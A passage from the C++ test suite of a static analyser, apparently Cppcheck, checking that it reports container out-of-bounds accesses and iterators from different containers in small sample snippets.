{\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different 